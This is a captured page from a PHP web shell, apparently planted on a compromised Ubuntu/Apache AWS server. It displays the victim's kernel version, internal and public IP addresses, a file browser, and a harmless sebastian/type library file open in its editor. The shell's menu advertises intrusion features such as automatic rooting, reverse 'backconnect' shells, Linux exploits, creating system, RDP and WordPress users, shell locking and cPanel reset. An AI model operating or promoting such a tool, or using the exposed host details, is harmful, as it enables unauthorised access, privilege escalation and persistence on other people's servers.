Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 3.141.190.219
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
app /
vendor /
sebastian /
type /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
exception
[ DIR ]
drwxr-xr-x
CallableType.php
4.67
KB
-rw-r--r--
GenericObjectType.php
926
B
-rw-r--r--
IterableType.php
1.71
KB
-rw-r--r--
MixedType.php
663
B
-rw-r--r--
NullType.php
818
B
-rw-r--r--
ObjectType.php
1.45
KB
-rw-r--r--
ReflectionMapper.php
2.94
KB
-rw-r--r--
SimpleType.php
1.67
KB
-rw-r--r--
StaticType.php
1.3
KB
-rw-r--r--
Type.php
2.33
KB
-rw-r--r--
TypeName.php
2.43
KB
-rw-r--r--
UnionType.php
2.43
KB
-rw-r--r--
UnknownType.php
800
B
-rw-r--r--
VoidType.php
581
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ReflectionMapper.php
<?php declare(strict_types=1); /* * This file is part of sebastian/type. * * (c) Sebastian Bergmann <sebastian@phpunit.de> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use function assert; use function sprintf; use ReflectionMethod; use ReflectionNamedType; use ReflectionUnionType; final class ReflectionMapper { public function fromMethodReturnType(ReflectionMethod $method): Type { if (!$method->hasReturnType()) { return new UnknownType; } $returnType = $method->getReturnType(); assert($returnType instanceof ReflectionNamedType || $returnType instanceof ReflectionUnionType); if ($returnType instanceof ReflectionNamedType) { if ($returnType->getName() === 'self') { return ObjectType::fromName( $method->getDeclaringClass()->getName(), $returnType->allowsNull() ); } if ($returnType->getName() === 'static') { return new StaticType( TypeName::fromReflection($method->getDeclaringClass()), $returnType->allowsNull() ); } if ($returnType->getName() === 'mixed') { return new MixedType; } if ($returnType->getName() === 'parent') { $parentClass = $method->getDeclaringClass()->getParentClass(); // @codeCoverageIgnoreStart if ($parentClass === false) { throw new RuntimeException( sprintf( '%s::%s() has a "parent" return type declaration but %s does not have a parent class', $method->getDeclaringClass()->getName(), $method->getName(), $method->getDeclaringClass()->getName() ) ); } // @codeCoverageIgnoreEnd return ObjectType::fromName( $parentClass->getName(), $returnType->allowsNull() ); } return Type::fromName( $returnType->getName(), $returnType->allowsNull() ); } assert($returnType instanceof ReflectionUnionType); $types = []; foreach ($returnType->getTypes() as $type) { assert($type instanceof ReflectionNamedType); if ($type->getName() === 'self') { $types[] = ObjectType::fromName( $method->getDeclaringClass()->getName(), false ); } else { $types[] = Type::fromName($type->getName(), false); } } return new UnionType(...$types); } }
Close